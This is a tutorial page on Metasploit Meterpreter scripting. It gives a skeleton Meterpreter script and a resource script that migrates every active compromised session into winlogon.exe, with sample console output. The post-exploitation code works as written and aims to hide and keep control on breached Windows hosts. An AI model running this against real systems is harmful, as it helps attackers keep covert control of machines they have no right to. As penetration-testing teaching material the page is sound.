Meterpreter Scripting

Since the Meterpreter scripting is planned to be removed and replaced with POST module, we’ll put a skeleton Meterpreter script only.

You can locate you new Meterpreter script in

  • The framework it-self metasploit-framework/scripts/meterpreter or,
  • In your Metasploit user’s path ~/.msf/scripts/meterpreter

Absolute Meterpreter Script

  1. # $Id$
  2. # $Revision$
  3. # Author:
  4. #-------------------------------------------------------------------------------
  5. ################## Variable Declarations ##################
  6. @client = client
  7. sample_option_var = nil
  8. @exec_opts = Rex::Parser::Arguments.new(
  9. "-h" => [ false, "Help menu." ],
  10. "-o" => [ true , "Option that requires a value"]
  11. )
  12. meter_type = client.platform
  13. ################## Function Declarations ##################
  14. # Usage Message Function
  15. #-------------------------------------------------------------------------------
  16. def usage
  17. print_line "Meterpreter Script for INSERT PURPOSE."
  18. print_line(@exec_opts.usage)
  19. raise Rex::Script::Completed
  20. end
  21. # Wrong Meterpreter Version Message Function
  22. #-------------------------------------------------------------------------------
  23. def wrong_meter_version(meter = meter_type)
  24. print_error("#{meter} version of Meterpreter is not supported with this Script!")
  25. raise Rex::Script::Completed
  26. end
  27. ################## Main ##################
  28. @exec_opts.parse(args) { |opt, idx, val|
  29. case opt
  30. when "-h"
  31. usage
  32. when "-o"
  33. sample_option_var = val
  34. end
  35. }
  36. # Check for Version of Meterpreter
  37. wrong_meter_version(meter_type) if meter_type !~ /win32|win64|java|php|linux/i # Remove none supported versions

The script is directly quoted from the Metasploit samples

Run Process migration on multiple meterpreter sessions

From `msfconsole` and after getting all metherpreter sessions, go to post/windows/manage/migrate

  1. use post/windows/manage/migrate

Note: make sure you’ve the sufficient privileges to migrate to the designated processe

Then create a file with rc extension including the <ruby> </ruby> tages

mass-mirgation.rc

  1. <ruby>
  2. # Find PID by name
  3. def find_pid(session_num, session, process)
  4. print_status("Session #{session_num} | Finding PID of processe #{process}")
  5. session.sys.process.get_processes().each do |x|
  6. proc_name, proc_id = x['name'].downcase, x['pid']
  7. return proc_id if proc_name == process.downcase
  8. end
  9. end
  10. process = 'winlogon.exe'
  11. framework.sessions.each do |num,session|
  12. run_single("set PID #{find_pid(num, session, process)}")
  13. run_single("set SESSION #{num}")
  14. print_status("Running #{active_module.fullname} against session #{num}")
  15. run_single("run -j")
  16. sleep 1
  17. end
  18. </ruby>

Now, from msfconsole,

  1. resource /home/rubyfu/mass-migration.rc

Result will be similar to

  1. [*] Running post/windows/manage/migrate against session 2
  2. [*] Post module running as background job
  3. [*] Running module against WIN-NG118S6TM0H
  4. [*] Current server process: shell.exe (3968)
  5. [*] Spawning notepad.exe process to migrate to
  6. [*] Session 2 | Finding PID of processe winlogon.exe
  7. [+] Migrating to 3628
  8. SESSION => 3
  9. [*] Running post/windows/manage/migrate against session 3
  10. [*] Post module running as background job
  11. [*] Running module against HOME
  12. [*] Current server process: shell.exe (2684)
  13. [*] Session 3 | Finding PID of processe winlogon.exe
  14. [+] Migrating to 2444
  15. SESSION => 4
  16. [*] Running post/windows/manage/migrate against session 4
  17. [*] Post module running as background job
  18. [*] Running module against WIN-8H4IDI0SR5A
  19. [*] Current server process: shell.exe (2996)
  20. [*] Session 4 | Finding PID of processe winlogon.exe
  21. [+] Migrating to 2240
  22. [+] Successfully migrated to process 3628
  23. [+] Successfully migrated to process 2444
  24. [+] Successfully migrated to process 2240